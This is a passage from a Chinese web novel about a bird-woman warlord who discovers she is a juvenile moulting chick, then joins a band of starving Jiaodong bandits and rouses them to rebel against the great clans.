林一嘎嘎直笑,“小六哭得鼻涕泡都结冰了,都说雪域苦寒,结果那边觉得雪域富庶得流油,我准备把他们迁徙到圣湖那边去,反正土豆也能养活更多的人,就是北都那边需要新的镇守了,四郡镇守是好事,北都那边我不知道有没有人愿意去。” 苏赫阿那听她说了半晌,伸手摸了摸鸟腹上柔软的绒毛,“四郡那边,让乌苏过去吧,阿铎在骑兵之中多少有些声望,他若起意和姜郡守对着干,有些麻烦,忽律想得多,不适合中原,乌苏就很好。” 林一点点头,对这事她没怎么放在心上,她感觉三个王子放在一起,姜命可能都不会嫌麻烦。 不提政事,林一被撸得有些昏昏欲睡,忽然听苏赫阿那疑惑地问道:“嗯……这是什么?” 林一睁开鸟眼,苏赫阿那指了指她翅膀上的白色管状物,白管束缚着黑色的鸟羽,其实不光翅膀上有,背上,鸟头上,羽毛的缝隙里几乎都是密密麻麻的白管,仔细看起来还有些艺术感。 林一一骨碌坐了起来,翅膀开合,慌得一笔,这是啥,这是啥?羽管?这不是百鸟先民的鸟形才会长的东西吗?她这种基因产物的身体除了脚皮,不会有“生长”这种概念的啊? 第114章 羽管也叫羽鞘,鸟类的新生羽毛在长出来时,就被包裹在羽鞘里,等到羽毛成熟,翅鞘就会干燥变脆,捋开羽管,内里的羽毛就会展露出来,成为新生的羽。 林一没见过自己的羽管,爆羽管那是小鸟崽身上才会发生的事情,她从下了流水线起就是心智成熟的大鸟了,源生战士耗损率高,平均寿命三年,她也没见过别的源生战士长这东西,这会儿翻来覆去地察看自己身上。 苏赫阿那也掌灯靠近了些,没靠得过近,怕失手点燃她的羽毛,但这光亮足够让他看清林一身上的羽管了,伸手仔细抚摸,这些羽管都是新生不久的,根根刺手,长在丰美的黑羽缝隙里。 “别怕,别慌,摸起来会不会疼?”苏赫阿那询问。 林一飞了一天自己都没看自己一眼,当然也没有感觉到不适,最初的茫然慌乱过后,她伸手拔了一根羽管仔细查看,根部有血,这还真是那种新生的羽管,不是虱子之类的寄生物。捏开羽管,里面是一根花纹绚丽的彩羽,不是她自身羽毛的颜色。 这会儿大半夜了,林一照了照镜子,看见自己一头的羽管,背上翅膀上也全都是,很莫名地想起了小鸟崽……不!不可能!绝对不可能! 步入星际版图的百鸟帝国当然已经突破了自然寿命理论,正常的大型鸟类寿命八百年以上,小型鸟类的下限也是三百年左右,这是自然寿命,它们还有更换机械零件,上传脑意识等延寿途径,一个星际生命的死亡,往往不会死于病痛,而是一直活到脑意识疲惫到无法运转的程度。林一还听说过百鸟帝国有好几种经典全息游戏会给已故玩家制作模拟智能,他们的亲属或许当天参加完葬礼,回家进入游戏世界,还会迎面走来一个模拟了这只鸟生前一切性格行为习惯的智能。 啊,这些和林一没有关系,她也没有登入那些游戏的权限。想起这些也不是为了回忆她的源生战士的生涯有多悲惨,而是说,她似乎、貌似、有可能真的是一只小鸟崽子? 百鸟帝国制作源生战士是为了投放使用进入星际战场,能被星际文明争夺的战场必然是重要的宜居或者资源星球,不可能使用歼星舰这种破坏力巨大的设施。虫族军队也持相同意见,所以争夺通常就是批量下耗材,源生战士本身的人鸟双形态就是会让人折寿过半的禁忌技术,再加上经常看到战友死亡,林一一直觉得自己的寿命不可能太长,十年星际征伐,还有来到雪域的两年,她最多感觉自己还在盛年的样子。 难道……我真的只是一只小鸟? 隔日,议事大帐内,林一找来了自己的外置大脑,王澈先给林一把脉,壮得跟头熊一样,以王澈的医学水平看不出她有发病的可能性。 接着他眯着眼睛仔细打量林一的鸟身,时不时上手抚摸她的胸羽背毛和头毛,也观察爪子,然后沉吟片刻,难得有些犹豫地给出判断,“以前只注意到可敦的鸟形高大,现在来看的话,似乎确实有一些幼鸟的特征。” 林一瞪圆了鸟瞳,身边的苏赫阿那也皱紧了眉头,严肃地向王澈投来视线。 “首先最明显的特征,可敦的羽毛过于蓬松厚软了,成鸟的羽毛不是这样的,蓬松的鸟羽也叫雏羽,微绒,抚摸起来比较柔软。其次是喙,可敦的喙部是嫩黄色的,还有这个头型很像是鸡,小鸡喙嫩黄,成年的鸡通常黄褐色深……” 王澈示意已经呆滞的王澜把他往前推一推,王澜没动弹,林一自己凑了过去,王澈就双手捧住鸟头,仔细地掰开林一的喙看了看,再次确认道:“成年的鸡嘴会伴有结痂和层纹的磨旧感,更加宽平,小鸡嘴尖而喙薄,色嫩黄,这是很明显的小鸡嘴。” 他还提供了一些佐证:“可敦经常会不受控制地发出嘎嘎叫,但正常的鸟类鸣叫的次数不会那么频繁,幼鸟爱叫是为了吸引亲鸟的注意力,得到更多的食物,这是乞食行为,我记得可敦进食前或等食时会大声嘎嘎,这也不符合成年鸟的习惯,成年鸟更加谨慎,通常会更加安静地进食。” 其实最大的证据就在林一自己拔下来的羽管里,羽管里的新羽颜色绚丽,不同于她自身五彩斑斓的黑羽。而黑羽其实更符合雏羽的特征,幼鸟的雏羽通常不那么齐整,颜色也偏向于伪装色,更加暗沉。林一的新羽几乎就像是黑羽在阳光下透出的五彩纯色,很明显是要换成羽了。 林一把翅膀举到眼前,还是有些不敢置信,苏赫阿那已经是松了一口气,但不知为何脸色显得不大好,他客客气气地送王澈出帐子。 “是要换羽了,不是病变,实是好事。”苏赫阿那眉头拧起,听上去不像在说一件好事。 林一咔咔一顿变形回人身,光着就准备扑过去啾啾几下,她有二次发育的机会了!这么好看的颜色,这叫一彩遮百丑,她指定丑不了嘎嘎嘎! 但是苏赫阿那退了一步,他和林一相处久了,知道不可能推得开她,这会儿退一步向左,手虚虚抵在林一的额头上。 林一露出一个迷茫但不失色批的笑容,很得意地张开双臂,“庆祝庆祝。” 抵在额头上的手没有挪开,苏赫阿那深吸一口气,说道:“等到……换羽结束吧,小一,你是只幼鸟,对人来说,也就是没长成的孩子。” 林一不可置信指了指自己鼻尖,“我?” 是在说鸟形两米八人形一米八的我吗?我横向翼展更大!哈哈哈没长成的孩子不可能是在说我嘎! 但是苏赫阿那无情地点头,把她又往外推了推,坚决地道:“这些时日,我会住回睡帐里去,幼鸟换羽是大事,不可胡闹。” 二次发育的喜悦都被这绝情的话语给冲散了,林一嘎嘎直叫,试图拿回原本属于自己的过夜权,但苏赫阿那不为所动,甚至因为这频繁的鸭叫更加坚持了。 林一垂头丧气往外走去。 昨夜又是一场厚雪,亲卫在帐外三五成群地扫雪,她看亲卫艰难扫雪的动作气不打一处来,夺了一把扫帚,一口气扫了几个帐子,又气咻咻地丢掉扫帚往前走,高大的背影时不时发出几声嘎嘎怒叫。 雪域席卷而来的大风雪同样将雁门关覆盖,一片冰天雪地之中,崔氏兄弟轻车简从来到雁门郡中。 杨氏老宅占地面积很大,越北的建筑就越偏向于大而阔,不似南边亭台楼阁小桥流水的精致,别有一番开阔气象。但是两兄弟扑了个空,杨裳平时不住在老宅,而是在雁门关沿边一线住军营,江骋倒是从太原那边回来不久,可惜今天也不在。 问了宅中下人,管事的见崔氏兄弟二人身着白锦貂裘,面白如玉,礼仪周全,也不敢怠慢,忙请二人入内客厅饮热茶暖身。边引路边说道:“可是不凑巧,都尉不在,少将军带着少夫人出门游玩去了,好在天色不早,应当快归家了。” 崔元笑道:“不妨碍,客随主便。” 崔语轻声说道:“雪天出门游玩,杨少将军兴致不错啊。” 管事一听就知道这位公子脾气大,有些为难,还是压低声音道:“不知两位听没听过我们少将军在太原的事,平天水贼于汾水,大胜十万!这太原郡就、就陪送了一位千金来,少夫人恼呢,摔了多少好瓷器……今儿好不容易才哄好起来,去雪猎了!” 崔元崔语对视一眼,太原那事他们是听过的,当时他们人在洛都,听闻天水贼事平定,还想打听一下那位太原将军之事。但很快。就传来雍西被雪域攻占,洛都的风向马上就变了,说什么金气不详,不许提战事,他们又初来乍到来不及结交人脉,也是到了这会儿才知道,在太原克敌的不是太原的将军,而是雁门过去的杨少将军? 崔语的态度马上就变了,很感兴趣地问道:“杨少将军,助太原克定贼寇?我兄弟二人走的不是汾水路,是从中山那边过来,还没有听闻少将军之事,可否说说?” 说起这个,管事与有荣焉,从西河郡流民犯边说起,到江骋御敌于外,追敌至太原,又是如何杀得天水贼溃败等等,崔语越听眼睛越亮,崔元喝了几口热茶,思绪却不知偏到了哪里。 昨夜江东亦小雪,几家世族烤着炉火煮冬茶,有朗朗青年席间言谈,提及国事,也是扼腕叹怒,高呼曰:帝不足勇,任贼裂土分地,久之则王气无存,我等英豪子弟,岂能从之! 燕赵之地,多慷慨悲歌之士,有青勇披蓑衣下村去镇,呼朋唤友,一腔热血不曾凉。巴蜀之地,风气截然不同,巴人尚武,蜀地闲适,古人谓之“巴有将,蜀有相”,两地世族难得坐在一处,青梅煮酒,大论时势。 时势造英雄,按剑待出鞘。 第115章 雍西虽为雪域故地,但气候截然不同,至少段凛在居延塞感受到的边关苦寒,和雪域冰原的极致严寒有天差地别。 今年有了砖屋火炕,比往年可好过太多了,段凛一天出屋三趟,打饭还有解决人生大事,除此之外几乎不和其他人交流,哪怕他第一天时就知道王部里有几个魏人存在,他认为,这是不一样的。 俘虏,仅仅是俘虏,他是战利品里的活物,而非是那些北上来到雪域的通敌叛国者,他直到现在为止,还没有亲口投降。 这没什么好骄傲的,反倒是一件比较难堪的事,因为段凛已经意识到魏朝的末路将近,那么大一个雍西四郡,说丢就丢下了,狗被抢走了骨头还会上来咬一口,而堂堂的大魏强国竟就像无事发生一样,忍了。 好笑得就像现在的段凛一样,上不去下不来,明明当初当着那么多的人面,那样霸道地说要他,只要再给一级台阶,他就会顺势应下,但……来到雪域之后,他就被忘记在这间砖屋里,邻居都是些犯了小罪行被抓进来的牧民。 鉴于在雪域,比较严重的罪行基本都是用刀子解决,被关在段都尉同屋的犯人也都基本是些上不得台面的东西。左边铺位是个偷羊贼,也许还不止,因为段凛用他不怎么熟练的雪域语知识听过他和右铺交流羊屁股的二三事。右铺是个老瘸子,因为摸了姑娘身子被关进来的,据他自己愤愤不平地说,只摸了两把,他就被好几个青壮冲过来硬生生打瘸了一条腿,还得关半年。 然后他的左铺就很同情右铺,开始传授他如何用羊解决……当然前提羊得是自己家的,不然就会像他一样待在这里。 那天听到这里的时候,段凛忽然就不想在这儿待了,他意识到自己待在这里,就会被看成这种人,而同屋甚至都没有一个杀人放火抢劫的,几乎全是这种货色。 又是一个平凡的雪域早晨,从臭烘烘的大通铺睁开眼起床,到时间统一外出洗漱,当然很多人并不洗漱。段凛走出砖屋几步,含了一口刚化的雪水,就听见有人叫他,通间管事是个面相冷厉的老人,用很熟练标准的洛下音说道:“段凛,乌苏王子叫你去见他。” 段凛疑惑,擦了擦嘴,“是三王子殿下吗?” 扎哈额真没有再开口,只是把他带到空旷的雪地上,给他指了不远处的一个白羊帐,段凛只好谢过老人,朝着帐子那边走去。 白羊帐里有两个人,一个坐着轮椅的,长相极为俊美的青年,段凛一时之间都怔愣了,怀疑自己大白天看见了天仙化人。 还有一个面相很年轻的少年人,见他掀帘进来,少年笑容和煦,还行了一个世家的礼节,“段都尉,俺马上要去上任了,任雍西郡公……恁家是在张掖,所以俺家先生说,可以给恁带一封家信,顺道。恁觉可好?” 段凛迟疑,看向坐在轮椅上的王澈,王澈揉了揉眼睛,困倦得很,“顺手为之,不必多想,殿下远行不管事,也不必你信中为难,给家人去封报平安的信。” 段凛点点头,郑重其事,对着两人行礼。 一封家信百二十字,竹纸折叠,外层再包一张干净的旧纸,乌苏把这封家信揣进怀里,想了想,说道:“段都尉,最近一段时间,恁要是想出来的话,就出来吧,可敦可能……没什么空来见你。” 段凛沉默,他这是被彻底遗忘了吗?以致于那个女人劝降到一半,就不再想要他了? 乌苏看他脸色不对,连忙找补说:“可敦事情很多的,这次可能有别的事要忙,不是故意撇着段都尉的。” 眼见乌苏解释的话越描越黑,王澈打了个哈欠,“早上才飞走的,嘎嘎乱叫,背了两个大麻袋,可能出去十天半个月吧……” 段凛自动把“飞走”视为一种世家的幽默,沉默着点点头,没有要自行离开俘虏监狱的意思,等二人离开后,去打了饭。回到砖屋里,段凛刚坐下,就见又有人被扭送过来了,吵吵嚷嚷的叫他听见几句。 哦,是个偷牛粪的,通常偷牛粪不会坐牢,但这人偷的数额巨大,要关十天。 年关刚过,江山覆雪,林一象征性穿裙裳走在一条荒路上,她身上唯一和世族贵女不相似的地方就是肩上扛着的两个大麻袋了,好在这里没人。 此地胶东郡,林一主要是想到海边看看的,她从来没有受过这样大的委屈,打从十天前,她就没能摸到男人了,不光是苏赫阿那,他甚至把幼鸟的事给传播开了!现在连亲卫都开始躲着她走了,鸟大王震怒!她都没有想过摸亲卫,窝边草怎么能吃?她的道德水平哪有那么低,尤物冤枉她! 可是那些羽管死活就是不成熟,林一也很难办啊,她对鸟人的成长速度也没有概念,万一真的能活个四百年什么的,幼崽期不得抵一个苏赫阿那?那可真的完蛋了。 何况幼不幼崽这种事,是王澈能说了算的吗?反正林一觉得自己生下来就是个成熟的大鸟了,现在只是身体发生了一些二次发育之类的事而已。 背着四百斤的麻袋,林一往海边走去,没走几步,身后马蹄声呼啸,有个很近的响动从背后传来,林一一百八十度回过脑袋,就看见十几匹马远远近近从她身后窜出,最近的青年骑在马上伸手要去夺她的麻袋。 林一两手一扔麻袋,直接连人带马给掀在地上。 “毁败了哇!介娘们夹手,细锅儿野完蛋了啊!”浓重的胶东口音传来,十几个响马呼啸串联,很快呈现出一个包围的骑兵阵型,但忌惮于被林一按在地上的“细锅儿”,响马们光咧咧就是不上前。 林一瞅瞅这个细锅儿,发现长得实在有些丑,淡眉毛细眼睛,尖嘴猴似的,在一众响马里扫了一圈,指了指一个披头散发的浓眉青年,“恁先来!” 响马们纷纷迟疑,有个粗嗓子喊:“大锅!” 大锅沉着地策马上前几步,开口竟然是很正宗的官话,“女郎气力不凡,我老四兄弟一时有眼不识泰山,不如这样,老四的马你带走,就当扯平如何?” 马,这可是响马的重要财产,别说地上的老四不乐意,其他人也都嚷嚷起来,“大锅,这么多人怕介娘们迈?围起来弄了!” 林一挥起一只二百斤的麻袋就把那个嚷着围起来弄的响马砸进雪地里头了。 响马们原本挺有章法的骑兵阵顿时又向后退了一大圈,那大锅看起来更谨慎了,跳下马来,行了个绿林礼节,“女英雄!恁也是练家子,山不转水转,得饶人处且饶人,还请放我兄弟一条路,他平生只好抢劫,不曾有污秽心思。看女英雄孤身一人,也是落魄,我乃大泽山扛把子甄及,这些年也有几百个喽啰帐下听令,今日请女英雄上山,便坐一把交椅如何?” 林一把踏在那细锅儿身上的脚收了回来。 大泽山是个位置非常微妙的地点,不临海,但靠海,以山为盾,是很典型的土匪窝子,也很好分类,有马的是大小首领,没马的是喽啰。 今天这十几个首领出去就是雪后猎物好抓,出去打猎的。回来的路上看到林一一个落单女子,肩上扛着很大的麻袋,不等大锅甄及开口,那老四就认为是些什么轻便昂贵的皮子布料之类,伸手去飞马抄夺,然后就被按地上了嘛。 土匪也是人,雪天没吃的了也在煮麸皮草料,他们甚至比一般的流寇还要惨一些,林一看到的几乎都是皮包着骨头的瘦猴,相比起来甄及这个大锅吃得还挺好,他打了两只兔子回来吃。 当然兔子现在归林一,一只烤一只炖,林一也就打开了自己的麻袋,把里面切好腌好的盐牛肉拿出来分。 土匪们眼睛雪亮雪亮,甄及看起来矜持一些,“女英雄,使不得,使不得!这牛肉珍贵,哪有刚上山就叫兄、姐妹分自家家当的,这不应当!” 但是老三老四已经齐齐伸出了黑手,去抓牛肉吃了。 林一摆手,“嗨呀,不是啥好东西,俺吃腻了,来,都吃点,外头站着的也来分分!” 甄及很感动,然后不许喽啰们过来分,只给十几个首领匀了些,很抠搜地扎好麻袋还给林一,客客气气给她倒了热茶,这才很温和地询问道:“女英雄年纪不大,我就托大叫你一声妹子……大姐也行。” 话到一半,林一就凶狠地瞪了他一眼,甄及马上改口。 他改口道:“听大姐口音是鲁地那边的?怎么大雪天孤身在外头?遇上豺狼虎豹可怎么办啊,大姐可是有什么难处吗?” 正疯狂往嘴里填牛肉的老四差点给噎死,没噎死也在翻白眼缓气,就这一脚把他踩成王八的力气,这位大姐能有啥难处啊,把夫家给灭门了出来跑路迈? 林一吃了口烤肉,冷怒着说道:“家里男人不晓事,我看他来气,就出来转转。” 甄及更加小心了,才劝解了没几句,就看到匪窝子里有个络腮胡抄着手往这边屋里走,老四招呼道:“二哥,大冷的天你出来干啥?嫂子孩子热炕不够你忙活嘞?” 络腮胡露出个尴尬而不失礼貌的笑容,“嗨,女人家家不晓事,屋里头闷得着气,出来转转,大锅今天还带了姑娘回山啊?” 甄及左看看林一,右看看自家老二,忽然脑壳一阵痛,欲言又止。 要不然,咱回家赔个不是呗? 第116章 林一对土匪窝子挺满意的,胶东压根不算冷,按照古九州来划分的话,这里属于兖州,州是古时的划分,但一般不这么算的,魏朝实际是郡县制,而“州”,实际上是一个理论上的,不可能在魏朝实现的行政单位。 拿林一现在占领的地盘来算,她在魏朝都不能算一个完整的“州牧”,因为她得到的是雍西和辽东,属于雍州的范围内,而雍州理论上下辖的单位是:关中三辅、弘农郡、上郡、北地郡、安定郡、天水郡、陇西郡、金城郡、雍西四郡(已下)朔方郡、五原郡、云中郡、定襄郡、雁门郡、上谷郡、渔阳郡、右北平郡、辽西郡、辽东郡(已下)。 对雍州这只庞然大物而言,她只握巨弓两梢,未得弓腹。当然,不好妄自菲薄,因为雍州这个单位在古九州体系里属于最大的一州,它们包含了朔方、幽州和凉州在内,因为魏人视沿边一带的防御体系为一个整体。 而现在的兖州下辖的单位也很大,为了防止被说是在充字数的原因,就不一一列举,总之这个州有十八个郡,胶东是其一。 而对大泽山的土匪来说,他们唯一熟悉的地形就是胶东这一亩三分地,三山夹两湾,他们之中最远的有人跟着莱州湾那边的海匪渔霸上过最南边的刘公岛。 甄及一边抠脚,一边给林一讲解他的辉煌土匪生涯(仅限胶东地区)。 胶东的匪多,有山就有匪,有岛就有匪,一个村里不出几个“走失了途”的年轻人,那都不叫传统胶东老区。甄及给林一说到:“崂山、昆嵛山,海湾一带……有名有姓的匪窝子就数得着我甄及啊。大姐,*你来了就不要客气,住下,家里男人不晓事,我这里的兄弟随你挑!就坐一把老三的交椅,如何?” 他挺喜欢用“如何”来结尾的,听起来有些文气,林一不在意这个,看了一眼臭烘烘的响马们,然后摇了摇头。 “恁这些木一个比得上俺男人的,不要不要,恁自己收着。”她撕咬着一只兔腿,反而若有所思道:“这么多土匪,咋你们住山里海里?不去弄些田来种,光等着庄稼人种完然后抢过来迈?” 甄及没有感受到杀气这种东西,他今天为了留下林一这练家子,也是出了血本了,拿了一坛子酒出来给众人喝,自己也抿了几口,感受着寡淡的酒气入喉。他不服地说:“我这里五百个兄弟,五百个里筛不出个俊男人来?可能瘦点,养养就好了嘛,行行行,可能大姐看不上土里刨食的,有机会咱去城里弄个白白嫩嫩的世家子回来!” 说到种田劫掠这事,不等甄及开口,那络腮胡子老二就粗着嗓子说:“哎!你这娘们就不晓得事情,匪是哪里来?怎么说我们不种地?大锅从前有地,良田一百七十亩,还娶了个世族的旁支娘们,然后嘛,地是人家的了,媳妇儿也是旁人的了,他一刀攮死了人,就此落了草。” 尖嘴猴老四咕嘟一口闷下酒,也说道:“我没得地啊,我爷去镇上买盐,被马车撞死咯,那主子嫌脏了车,说我们家买私盐,一家子五六口就是我一个人跑出来了。” 甄及看了一眼屋里众人,然后不倒酒了,只给林一匀了半杯,就把酒坛封起来了。 一群破家的财神,说起过往来就要喝酒,纯是为他这点子酒来的。 林一也砸吧了一口酒,没啥味儿,那点酒劲对她的影响微乎其微,她盘腿坐问道:“三山两湾多匪,就没想过弄些好地方,窝在山里岛里,草草完此余生?” 土匪们面面相觑,总觉得这话风不对。 林一这会儿脑子里想的可不是帮助土匪打地盘,而是迅速过了过胶东的地形,然后是兖州的位置,周边的青州徐州等地。这不是她占飞地的老毛病又在蠢蠢欲动,而是来都来了,不做点啥子感觉上很奇怪。 土匪们没什么大志气,但有一股子离经叛道的精气神,林一把人头拢到一起,声音沙哑:“胶东是个很好的地方,进可攻,退可上岛,整体上,这是一个半岛结构,而半岛是最容易割据的地形之一,不要看地方大,就觉得占不下来,大泽山有五百个土匪,你们知道五百个人能干啥吗?” 老四声音一下子放大,激动说:“弄俩大村!” 林一一巴掌拍在那丑脸上,训斥:“眼窝子浅!我打雍西那边的时候,最后一个县就留五百守军,五百人可以弄一个县!而咱们有了一个县,就可以招兵买马……这儿没马就算了,靠着一个县的底盘,我们可以收拢更多的兄弟,组织起来,通过这个县来控制周边的县,再进一步拿下胶东半岛。” 她的话里甚至不怎么带煽动的成分,土匪们都懵了,甄及也懵,他算是土匪里难得的见识比较多的大哥了,偶尔夜深人静,会琢磨自己要是哪家世族的家主族长,不晓得有多快活,可他没想过打下胶东啊!因为胶东是真实存在的,好大好大的地盘啊!而且胶东半岛不是一个胶东郡,而是还有一个东莱郡,是两郡之地。 林一直接用手指头蘸酒液在桌面上画简易军事地图,“这里就是咱们所在的大泽山,这里是即墨县城,胶东郡治,联络昆嵛山和莱山一带的土匪兄弟们,奇袭下即墨,然后转入平度,再闪击掖县,这里就形成了一道封锁线,我们沿线打援,这就切割了东莱方面和朝廷的联系。” 她一只脚踏在桌上,嗓门提高了一些,“东莱,易攻难守,大面积的粮仓!夺下东莱,再转胶东,占着整个半岛,进可攻退可守,两郡之地,胶东半岛,和我辽东隔海相望,只要再打通渤海渔阳涿郡等地,你们就连在一起了啊!” 土匪们仍是面面相觑,老二在这紧张的氛围之下,惴惴不安地放了个屁。 林一抓了抓头发,看看这一屋子的匪首,外面的喽啰瘦得像几天没饭吃一样,这可能就是理想和现实的差距。 她把脚放了下来,然后啃干净兔腿,尴尬而不失礼貌地问道:“俺今晚睡哪儿?” 甄及留下了老二,安排林一去和老二媳妇儿睡,老二媳妇是个年近三十的妇人,带俩娃,面对林一时有一点拘谨,林一掏出盐牛肉,她马上就很热情亲切,把最好的麦秆堆起来给林一睡。 啊对,没有什么床褥子,这年头穷人家里保暖的就是干燥的麦秆,芦苇什么的。世族用羽绒毛皮等物,就像是崔元崔语两兄弟,在雁门那样的寒冷环境下,一人一身貂裘,内里穿两件夹天鹅绒的夹衣就够过冬的了,甚至活动活动还会出汗。 崔氏兄弟受到了杨裳非常热情的招待,雁门再怎么说也是沿边郡,不似中原人物风流,即便是杨裳这样的都尉,崔氏兄弟应对起来也不怎么热情,反倒觉得杨裳性格有些外放,并不是枭雄之象。 崔语更关注江骋,他观察江骋的表情和眼神,偶尔像个同龄友人询问他一些问题,江骋一一作答。 崔氏兄弟商量了一段时间,便决定在雁门暂居下来,崔语还挂了个主簿的虚职,有了官舍作为落脚地,每隔半年还能收一次俸禄,崔元则是还打算观望观望,而且觉得堂弟有些操之过急。 今夜小酌,崔元便借着酒醉提了提,崔语看着雁门寒月,沉吟片刻,说道:“杨少将军,其志不在小,你我兄弟有时会幻想一个明主,他要知人善任,霸气豪迈,最重要的是能力,攻城下地,善于治理,或者他的性格还要更好,得民心,得军心……但是阿兄啊,那些太远了。我们从范阳到洛都,北上绕行一大圈,见过很多世家子弟,世族规训人哪,他们大多像我们兄弟,没有为人主公的野心,只想靠着智谋于乱世安身,寻个明主,投些资本,坐等收获而已。” 崔元拧起眉头。 崔语啷当一声摔碎酒杯,“但是鸿羽将军有志气,有野心,我与他谈论乱世,你道他说什么——为何天下久而必分,分而必合?天下久则人多地少,天下合则人少地多,乱世开篇,多的那些人,他尽屠之!以杀止杀,以战止战。” 饶是转述,崔元都被惊得向后退了一大步,被这话语里的杀气和血气惊得腿软身软。 “阿兄,结束乱世的,不一定是明主,也等不来霸主,所以更可能是暴君,天下合之后的烂摊子,也许可以等一个太子或者太孙来弥补,我们这一代,想要乱世尽早结束,没得挑了,你想乱上几十年,任那异域入侵吗?” 崔语夺过崔元的酒杯饮了一口,遥敬天上雁门月。 次日,崔元离开雁门郡,道不同,即便是血缘堂亲,也不相为谋,他仍然寄希望于一个更好的明主。 第117章 胶东的气候很好,至少对比雪域来说。 在十月历法的星球,一年之中最冷的是冬晚月和春三月期间,现在年关刚过……林一发现过年这种东西,雪域好像不怎么普及,毕竟那时候太冷了,对雪域人来说,最大最喜庆最热闹的就是夏秋季,其余时候最舒坦的是窝帐子里。 土匪们待的胶东至多零下十度,但是冬天也窝着,因为活动多了就饿,饿了也没吃的,少活动就等于半个冬眠。 大泽山的小喽啰们一般睡到日上三竿,然后拉紧裤腰带勒住干瘪的肚皮,喝完寨子里分发的,一天一顿的三合面窝头,吃完不管饱,然后就是溜达溜达,看能搜罗些啥进嘴里。 三合面是统称,没有固定的调配,通常是麦粗粒调和豆子面,加麸皮一起合成面,捏成窝头上锅蒸,鸟人比人更能吃出粮食香,林一挺喜欢这种对人来说很拉嗓子的窝头,一口吃半个,是一只很好养的鸟大王。 就是吃到第十七个窝头的时候,把大锅甄及都给惊动了,他赶来的时候,两个喽啰哭着抱着林一的腿叽里呱啦说着什么,听也听不懂。 林一把最后一块窝头放进嘴巴里,往上顶出个饱嗝来,“恁来了?正好,给俺问问他俩哭啥?正吃着,突然冲过来嗷嗷哭,是受了啥委屈迈?叫他俩跟大姐说。” 甄及咽了咽口水,踢了一脚喽啰,骂道:“没出息的东西,林老大天生神力,饭量大些有什么好害怕?” 一个最多也不超过十三四岁的小喽啰还是张嘴嚎啕,林一能从他的嘴巴里看到嗓子眼,少年声音尖锐,“她一就锅人,吃了一锅,没得吃了……” 喽啰方言味儿重,林一要是能听懂刚才就听懂了,所以甄及把两个喽啰提起来往外丢,面上赔笑道:“大姐不要和他们顽,这俩是年关吃不上饭的佃户人家爷奶送山上来的,新来的不晓得做事的规矩,去去去,一顿不吃饿不死,刮点榆树皮子去。” 本来事情也就过去了,但是甄及的话林一是听得懂的,她砸吧了一下嘴,看了看两人哭嚎的样子,明白了。 带出来的盐牛肉还有一麻袋没动,林一给拎出来,朝甄及招招手,“去,叫人多掰点柴火来,这二百多斤肉再炖出些汤来,够大伙儿饱吃一顿了。” 这可是放了盐的牛肉! 甄及号称“胶东镇三山”,大泽山扛把子,还是忍不住没客套,赶紧让喽啰去掰柴烧水,想了想,狠了狠心,又对外追着嚷:“明儿不过了,把麦子拿出来炒炒吃,不许磨细了,磨得费劲还不抗吃!” 里外一传,喽啰们都喜得跟什么似的,好似今天过大年。就最开始的两个少年喽啰还是抽噎,别人都有一个窝头垫底了,明明大姐是为他们拿牛肉出来的,咋跟别人一起吃啊! 今天的大泽山分外热闹,明明就是一人半斤肉都不到,喝汤喝个水饱,再加一捧炒麦子的事,但是人人都喜上眉梢,见到林一迎面走过来,喽啰们都点头哈腰,万分尊敬。 “林大姐吃过了,哦哦吃过了哈!窝也吃过了。” “大姐真是体面人,呱呱叫!以前就听人说山大王入伙自带粮,能请一个匪窝子吃到饱啊!这辈子活了三十年头一次见。” “恕我直言啊,林大姐这三儿的座次低了,凭什么啊,依我看,二锅就该腾个位子。” “牛肉是这个味啊,吃了半天了嘴巴里还是带香,可香死了!” 林一一一摆手打招呼,很随意的,她习惯了,大泽山这边的匪窝依山而建,山里有个大空地,最辉煌的时候,有整个胶东半岛的土匪和海匪聚在这里商量着干票大的。 甄及回忆道:“有小二十年了,那会子我还没上山,是个少爷,听人说胶东的匪贼聚集到一块儿,准备攻打东莱王氏。” 一个喽啰惊道:“成了不?” 甄及看这喽啰跟看傻瓜似的,也不说别的,向林一解释道:“东莱郡王氏,还有胶东郡王氏,都是千八百年下来的,老辈子在胶东封王的,哪国分的王就说不清了,那年王氏跟土匪干仗,把人头朝城门口堆,走商的过路的看着就怕啊,我也怕啊!” 他还是怕林一心里头有什么割据半岛的心思,他是真的怕,那年几千个土匪打一个郡的郡望,死了不知多少个数,现在他妈的五百个捉襟见肘的喽啰,想打胶东和东莱两个郡?那可是几十个大小世族啊! 林一摆手,“你坐下,坐下说话,你看你,又急,这名字谁给你起的,真急啊。” 甄及愣了愣,啊?急的是我? 林一理直气壮地把甄及按坐下去,抄着手在土匪们聚集的地方来回走,这个问问,那个问问,没多久嗓子一下子大了起来。 “卖东西要被抓,买东西要被逮,然后坐牢做苦役,自家有地要自愿卖,家里没地要给人种地,自己想吃粮吃不上……这世道对吗?”林一揪着个瘦高男人喝问,“你晓得背着孩子上山,你被抢走的媳妇儿咧?不要了?被抢走的你就不要了?” 瘦高男人吓得左顾右盼,我、我吗? 林一瞪着他说:“你!给你个机会,你去不去抢回来,你那从小一起长大的漂亮媳妇儿,哭着放你上山,叫你别回来的好媳妇儿,你要不要抢回来?” 男人眼睛一闭,狠下心来,大声地说:“要!窝死了都跟她睡一坑!就算她身子叫地主三爷家傻娃弄了……” 林一给了他一脚,走到一个矮胡子面前,把他也揪起来,“贩私盐!贩私盐有错吗?朝廷的是官盐,世家的是精盐,偏你自己挖的盐不能卖?盐是人命根,官盐卖贵凭啥不能卖私盐?结果你爹被打死了,你叔被打死了,你老娘哭瞎了眼,说,你有什么错!” 矮胡子火起,跳起来大嚷,“额木错!额木错!额错在价低得能杀人,然后额全家就挨杀头嘞!” 林一也把他搡到一边,顺手又抓起一个来,这次不等她开口,那男人就涨红了脸,怒声高呼道:“我无罪也!我家鹅吃了宗家鼠,被打上门来,一次赔两三亩地,一次赔两三亩地,我赔到最后连爷奶坟头都扒开了,赔出那块风水好地……我祖上就不是王氏血脉吗?我祖上就不是远来胶东分王的贵胄吗?世族同气连枝啊,他们吃我绝户也!” 土匪们面面相觑,都很震惊,老二看向甄及,甄及看向那男人,脸上也露出个迷茫的表情,大泽山的喽啰里,还有这么有来路的? 林一把这男人脚底离地提起来,声音比他还大,“敢朝我嚷,你咋当时不给他们一人攮一刀呢?你看甄及,他为啥是大锅?因为他是你们匪窝子里第一有血性的男人,他敢攮那一刀子!” 这王姓男人颓了些,呐呐地说:“当时……还想活。” 